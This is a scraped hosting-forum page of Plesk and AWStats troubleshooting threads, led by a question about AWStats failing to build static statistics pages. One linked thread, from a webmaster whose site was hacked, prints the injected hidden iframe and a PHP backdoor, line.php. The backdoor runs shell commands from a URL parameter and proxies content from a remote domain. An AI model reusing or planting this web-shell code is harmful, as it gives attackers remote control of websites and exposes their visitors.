Plesk 12.x / Linux :: Awstats Not Building Static Pages
Nov 5, 2014
I have an issue with Plesk and Awstats not building the html pages for website statistics. Problem is server-wide i.e. it effects all domains.
I've tried to manually run the /usr/local/psa/admin/sbin/statistics with every possible options but all that happens is that awstats calculates new stats to the vhosts /var/www/vhosts/system/domain.tld/statistics/webstat/awstatsMMYYYY.domain.tld-http.txt file.
Nothing is put into the /var/www/vhosts/system/domain.tld/statistics/webstat/YYYY-MM folder which should contain the static html pages.
Example listings:
Code:
# ll /var/www/vhosts/system/<domain.tld>/statistics/webstat
total 80
drwxr-xr-x 4 root root 4096 Nov 5 10:58 ./
dr-xr-x--- 6 root psaserv 4096 Oct 23 12:36 ../
drwxr-xr-x 2 root root 4096 Oct 23 13:12 2014-10/
[Code] ....
I was able to create the static pages by running Awstats directly:
Code:
# /usr/share/awstats/tools/awstats_buildstaticpages.pl -awstatsprog=/usr/lib/cgi-bin/awstats.pl -configdir=/usr/local/psa/etc/awstats -config=<domain.tld>-http -dir=/var/www/vhosts/system/<domain.tld>/statistics/webstat/current
So things I have already checked:
- Awstat paths in /etc/psa/psa.conf are correct
- Domain configs are ok as awstat can create the stats data and awstats_buildstaticpages.pl can can create the pages just fine
- File permissions are ok
I just cannot figure what the problem is. /usr/local/psa/admin/sbin/statistics doesn't give any errors but on the other hand it doesn't have a debug option either which might be useful.
OS: Ubuntu 14.04.1 LTS
Plesk version: 12.0.18 Update #22
View 4 Replies
ADVERTISEMENT
Mar 14, 2014
I had an hosting account with a copany, recently I migrated to VPS managed by plesk 11.5..I was able to get the awstats database file from the old host, and i have copied them in the /var/www/vhosts/mydomain.com/statistics/webstats/ folder, together with the other database files genereted by the new VPS hosting
Only problem is that plesk only rebuilds everyday the static page for the current month, and I see no way to ask him to build the pages for this past months. Also would be good if he would rebuild the header to have updated the dropdown menu from which to choose the month to dispay..Is it possible to rebuild manually these static pages?
View 5 Replies
View Related
Mar 19, 2007
I've recently taken over the hosting of a large site and forum, and I want to use some for of statistics software of service so that I can determine how many unique visitors and pageviews the site and forum get (which can then be used when dealing with advertisers).
I've been using Webalizer for years, but it's not been updated in over 5 years, so it's out. I then stumbled on Awstats, which works great, but... it doesn't calculate the pageviews correctly.
At the present moment Awstats claims to have tracked approx. 2 million pageviews for the (vBulletin) forum. However, when I scroll down I notice that on number #1 in the "Pages URL Top 10" is image.php, which is used for avatars and is not a page!
Now it appears Awstats has two ways of dealing with this: the "SkipFiles" option and the "NotPageList" option. The first (SkipFiles) drops whole URLs from the stats, which isn't what I want: I just don't want them to be counted as pages.
The second (NotPageList) only accepts file extentions, not script names. This again isn't what I want: hits on showthread.php should still be counted as pages, only hits on image.php shouldn't be.
The site has a similar problem where I don't want scripts like stylesheet.php, rss.php and xml.php from being counted as pages.
My question: does anyone know a solution for this problem? Maybe a hack to allow "NotPageList" to accept script names and/or ULRs?
Alternatively: does anyone know another statistics package that's about on par or better than Awstats that can do this (and that works on Linux/Unix with logs generated by lighttpd+php-fastcgi) and that is not too expensive (max $200)?
Google Analytics isn't suitable for me (even though it would probably work well) because the site goes over 5 million pageviews/month and I don't have a Adwords account.
View 1 Replies
View Related
Oct 8, 2014
Using Plesk 12 on a VPS with Ubuntu 12.04 LTS. In the Web Server Settings, if I select "Process PHP by nginx", then the URL "<domain>/plesk-stat/webstat/" is answered by Nginx with "404 Not Found". Having sniffed around, it seems:
/var/www/vhosts/system/VHOST/statistics/webstat is getting statistics gathered.I can't say if they are complete, or even sensible, but things are happening there.The various Alias and other statements required for access to AWStats via Apache are contained in the Apache config file /var/www /vhosts/system/VHOST/conf/last_httpd.conf..But no equivalent statements are generated in /var/www/vhosts/system/VHOST/conf/last_nginx.conf.
View 2 Replies
View Related
Sep 8, 2007
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
View 5 Replies
View Related
Nov 13, 2014
I followed the following KB to allow country to be identified via GeoIP in AWStats: [URL] .... It works well on one of my domain, but I had to disable first the stats through PLESK Admin, then to reactivate it, so it would regenerate the conf file in /usr/local/psa/etc/awstats/* for a particulair domain. I then followed this KB to re-calculate all stats with country identification: [URL] .... It works as well.
But now: How can I regenerate all the conf file in /usr/local/psa/etc/awstats/* ? Is there any magic command?
View 1 Replies
View Related
Dec 18, 2014
Currently i am using webalizer... How can i switch to aw stats by importing the current data...
View 1 Replies
View Related
May 4, 2015
I have installed an SSL certificate on my website since last saturday the 1st of May, and forced redirection to https URLs via .htaccess.
Since then, I cannot see any statistics in AWStats. All values stops after the implementation of the certificate. How can I continue to have statistics for my secured web site ?
View 3 Replies
View Related
Dec 5, 2014
I have just updated to plesk 12 and I am having an issue with all of my web pages returning a 404 error, I can connect to the SQL databases and FTP it is just loading the web pages.
View 1 Replies
View Related
Jul 2, 2014
Plesk Panel 12.0.18 , cant load pages in controlpanel (web host edition) it is making timeout all the time and also cannot send mail (roundcube).
What have parallels done to the a nice panel!
View 4 Replies
View Related
Jan 11, 2015
I`ve got a problem with plesk when hosting Wordpress, when using Wordpress navigating between the pages (front-end and back-end) server time seems to be 15 sec.I`ve checked CPU usage and that stays under 5%.
When I install Drupal or Concrete5 or any other application that uses PHP with MYSQL it runs very fast.I`ve already fine-tuned PHP / Apache2 / Nginx & Mysql to get the max possible performance out of it.
What i`m using for hardware:
i7 920 2.6Ghz
24GB Ram
LSI Raid controller 9260-8i
RAID 10, 6 WD Black disks (internal speed goes about 450mb/sec)
RAID 1, 2 x Samsung SSD Evo 840
Software:
ESXI 5.5, optimised for maximum performance. (no standard config)
PLESK VM has 8 cores, 16GB Ram and I/O access priority set to max.
If I move the PLESK VM to the SSD datastore it makes no difference.Again, the problem only happens when i`m installing Wordpress..I Also did a manual install of Wordpress, same issue..I`m going to try the older version of Wordpress (3.9) so see i`m having the same problems..Using the latest plesk 12 on Ubuntu 14 with trail license at the moment.
View 6 Replies
View Related
May 1, 2014
VPS hosting, stats in my sig below. Have poor performance with a drupal and civicrm(drupal based) website and looking to troubleshoot.
Main issue is pages take too long to load, sometimes over 5 seconds and more! Below is my.cnf and MYSQLtuner results.
So my.cnf
Code:
[mysqld]
set-variable=local-infile=0
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
[Code] .....
View 2 Replies
View Related
Apr 28, 2008
Any Web hosting companies offering services based of servers hosted at the "one wilshire" building located in LA.
View 3 Replies
View Related
Nov 6, 2009
I'm running Plesk 9.2.2 & using the supplied AWStats install. Where will I find the configuration that dictates when AWStats will be updated? It's currently updating at 3.36am daily, & I'd like to set it to hourly. Can't find anything in the root or psaadm crontabs & not sure where else to look.
View 5 Replies
View Related
Mar 11, 2007
I do have a managed VPS at SolarVPS, it's set up with CentOS 4.2 p6, Plesk 8.1 and AwStats 6.6 and Webalizer.
Webalizer and AwStats are working, but there's a problem with accessing the monthly archives. When looking at AwStats or Webalizer I can only access the current month, NO previous months, NO archives, which makes statistics pretty useless.
I've already asked support at SolarVPS, but they said it's 3rd party software and they don't support it
I guess I'm not the only one having problems to access the web stats. Does anybody know how to fix this problem?
View 2 Replies
View Related
Mar 26, 2014
how to enable AWStats for the domains on my server. In our old Panel (v9.5), I could go Domains > DOMAIN.TLD > Web Hosting Settings, and on that page there was an option to choose between Webalizer/AWStats/None. In version 11.5, I don't see that option.
When I look on the actual Windows server, I do see an AWStats directory along with a Webalizer directory in "C:Program Files (x86)ParallelsPleskAdditional", so I think it's installed...? AWStats comes along as part of the Plesk Panel license, right?
I can see the Webalizer stats when I browse to [URL] ...., but I'd much rather see AWStats.
View 2 Replies
View Related
Jan 6, 2015
I accidently added a new domain to another domains webspace instead of a separate one. I removed the domain and readded it correctly.Ever since then the nightly web_statistics_executor.exe gives me the error
The system cannot find the path specified. (Error code 3) at Open file 'D:Inetpubvhostsdomain.co.uk. pleskstatisticsdomain2.co. ukwebstatCopy AWStats.lock'....
View 1 Replies
View Related
Mar 29, 2009
Attached is a (badly) drawn diagram of two sites, connected by a vpn.
The site to the left, is network 10.0.0.0/24 which runs a linux server as the router for the network.
The site to the right, is network 10.1.0.0/24 which runs a windows 2003 server as the router for the network.
Now, my problem is, the clients behind the windows 2003 server can ping any machine on the first network because i setup a static route to route all traffic to 10.0.0.0/24 over the vpn interface.
now, my problem is, only the linux server can ping any machine on the windows 2003 network, any client behind the linux server cant seem to route over the interface.
I have the following route on the linux server: .....
View 0 Replies
View Related
Oct 24, 2009
Installed plesk to my Centos VPS, I created Domain, and unselected Custom Error Documents, as i wanted to use htaccess for that since pleask custom error doese not support php files.
in my htaccess inserted.
ErrorDocument 400 /error/bad-request.html
ErrorDocument 401 /error/unauthorised.html
ErrorDocument 403 /error/forbidden.html
ErrorDocument 404 /error/file-not-found.html
ErrorDocument 500 /error/internal-server-error.html
But when test the errors by visiting un-found page in my site, i do not get the error 404 page, and banned my self from my site to try if page 403 shows up , and it did not ..
All the errors Shown instaed of the pointed page the Borwser shows the custom Error from the borwser, For Example if you use Google browser.
HTTP 404 - File not found
This link appears to be broken.
View 2 Replies
View Related
Oct 14, 2013
I have a fresh install of 11.5 on Windows Server 2008r2. I have setup a domain from a 9.5 backup. Everything _looks_ okay, php settings look fine, but php pages give the following with detailed error reporting:
HTTP Error 404.3 - Not Found
The page you are requesting cannot be served because of the extension configuration. If the page is a script, add a handler. If the file should be downloaded, add a MIME map.
Note that this happens whether I select php 5.2 or 5.4
View 1 Replies
View Related
Feb 1, 2008
I am moving to a new server. At first the [url]version of the site was fine. I had trouble getting [url]working. Once I had the path to the certificate file correct, I was good to go. So, I started moving data. I also ran some updates on the new server (installed mysql, php, related pkgs). I don't know when the [url]pages stopped working, but I didn't realize it until I had everything moved over and tried to go live. The pages are completely blank. If I view source, I get this: ....
View 3 Replies
View Related
Oct 21, 2009
I Have Kloxo Runing in my Server , and i use Apache for handling php , and htaccess .
From kloxo Panel under Extra , Error Handling .
I made editing to where visitor will be taken when come to page not found , banned , ..etc
The error 404 , 403,500
But won't work , it just take User to the Apache Test page instaed takes him to the Page i spicifed..
So i edited htaccess like ErrorDocument 403 forbid.php to try redierct the users to the error pages but got same reslut instaed takes them to the apache test page .
I tried install Plesk and Try . But seems the Same thing , when user comes to not found page , or forbidden page he will be directed to Apache test page.
View 1 Replies
View Related
May 22, 2014
My server is working fine for the last 13 months but since lst tuesday (may 20) it throws error 500. Here is the complete error message
======
Error Summary
HTTP Error 500.0 - Internal Server Error
File monitoring is enabled for a file which could not be found
Detailed Error Information
ModuleFastCgiModule
NotificationExecuteRequestHandler
HandlerPHP5-FastCGI-php
Error Code0x80070003
Requested URLhttp://mydomain:80/index.php
Physical PathC:Inetpubvhostsmydomainhttpdocsindex.php
Logon MethodAnonymous
Logon UserAnonymous
=======
My Server Details
Panel version11.0.9 Update #61, last updated at May 5, 2014 12:52 AM
Windows Server 2008 Service pack 1 64bit
Intel Xeon 2.3 with 24GB Ram
=======
For self diagnostic I delete all files on my root directory (C:Inetpubvhostsmydomainhttpdocs) and put only 2 files
index.php and index.html
When I browse for index.html. It display properly. When I browse for index.php the error persist. What could be wrong?
View 5 Replies
View Related
Jul 2, 2015
In plesk it has the ability to schedule a task. It apparently only works for EXE files and php pages ? I that correct ?
How do we schedule an ASP page to run as a task ? I have been trying shells, scripts,
Our data system maintenance and monthly billing are all ASP pages that need to run automatically. Some tasks need to run every 15 minutes.
View 1 Replies
View Related
Mar 4, 2007
i did make a big message on here but it deleted when i back spaced
my website is aviation cafe dot net / sample and i need you to help me with password protecting a webpage, i wanted the address to be / the silver sword and definitly not to look like it does now.
username: webforum
pass: password
View 4 Replies
View Related
Mar 24, 2008
I've been running a niche hosting business (one man show) for about 6 months now and so far I've learnt the basics of the hosting business. In fact I'm quite successful too, with good profits right from the first month. I know a bit of server admin and manage my own servers.
However, now I plan to start general shared hosting business and have decided to own my hardware and colocate it at a DC. (I'm not located in the US; the DC owner is my friend and would receive the hardware and set it up for me.)
The box would cater to general shared webhosting needs with cPanel (I don't like it but the market does )
Here's what I'm planning to go for...please put in your valuable inputs.
$300 for 1x SUPERMICRO MBD-X7DCL-I ATX Mainboard
$380 for 2x Kingston 4GB(2x2GB) KVR667D2D4F5K2/4G RAM
$475 for 2x Intel Xeon E5405 Harpertown Quad Core 2Ghz.
$240 for 2x WD Caviar RE2 WD5001ABYS 500GB SATA2 HDD
$250 for 1x Supermicro CSE-811T-420B 1U Chassis
100Mbps port, CentOS 5.latest 64bit, cPanel.
So, to sum up... 8x2Ghz CPU, 8GB RAM, 500GB SATA RAID system to start with.
I'm open to all suggestions and would appreciate valuable advice etc. from experienced people. I'd like to ensure full hardware/software compatibility and maximum stability.
View 12 Replies
View Related
Oct 9, 2009
How would I go about building an ostemplate?
I want to build one running Ubuntu 8.04 LTS and ISPConfig on openvz
Could I pretty much start with the Ubuntu 8.04 minimal install and then run the ispconfig installation [url]
and then make an ostemplate out of that?
The part that concerns me is will the hostname autopopulate based on what is setup during the build of the vm?
What about the SSL info it asks me for during the install, should I just enter something generic for that or?
Has anyone else done this?
I don't want hostinabox to be the only image with a control panel
View 2 Replies
View Related
Mar 24, 2009
I am thinking about buying this processor and building a server with it. This processor is very affordable for me but I am wondering what kind of server I should run it as? Do you think the processor would be able to handle a heavy DDoS attack and act as a good firewall?
Let me know, here's the processor I want to build the server with:
[url]
View 12 Replies
View Related
May 18, 2009
Does anyone know why companies like Level3/Yipes/Abovenet/Global Crossing don't make their on-net building list available readily? Cogent/Zayo/etc have it listed right on their website....Zayo even gives you this downloadable KMZ file for Google Earth.
I'm working with a few clients who run their own data center/web hosting facilities and are looking at new spaces in various Class A office buildings. Obviously, I can go around and call all the providers, but it becomes a voicemail game.
View 14 Replies
View Related
Nov 3, 2009
I am working on building another hosting companies which I will be hosting VPSs as well.
I am asking this from a customers opion.
with each plan should it be an = shared amount of the processor or should each person have a dedicated amount? For example say you got duel quadcore processors running 3ghz which would = like 24ghz total correct? Say you have 16 VPS on 1 server each getting roughly 1.5Ghz.
View 14 Replies
View Related
Feb 2, 2008
We currently have a few racks within a UK Datacentre and unfortunately its filling up quicker and quicker by the day.
When we contacted our account manager during the week for another rack we were told that there is less than 5 racks left. Saying that these new racks came with +20% increase on our normal costs plus a £800 setup fee. While I have no complaints with the price going up for the rack (as its the same in any data centre when it gets full) I am starting to think that if we (as a company) maybe benefit more to converting an office into a data suite and getting suitable fibre to the building.
One reason why I am calling this a data suite and not a data centre is it wont have the benefits of a backup generator and fire suppression system as costs would outway the benefits (at the moment anyway). We are looking to only have around 4/8 racks in this data suite with none of the services being hosted business critical.
At the moment our current DC is around 100 miles from me so when we looked at the location we found that having one closer to our office and my home allot easier/beneficial. Next option was is there affordable fibre access available and yes there is. There was many sets of offices and industrial sites which already had fibre access to the doors with many suppliers available such as the national fibre grid (BT), Virgin Media Backhaul and Global Crossing (waiting to be confirmed on GC to see if its theirs or BTs). Least that saves the cost of the expensive last miles from the POP.
Either way the fibre we would be using would be used to back haul our connection to a London DC to plug into our network. Over the last week I have been looking at possible locations, costs, quotes etc to see what I can work with. I am just wondering if anyone else has done something similar (as in setting up a few racks away from the DC) and how did it turn out?
One worry I did worry about is losing the data centres remote hands when things go really wrong and say a technician is unavailable to go to the suite. All our servers are hooked up to KVMs and Reboot racks so if something does go wrong (software wise) we can cope but the thought does linger over me slightly.
View 14 Replies
View Related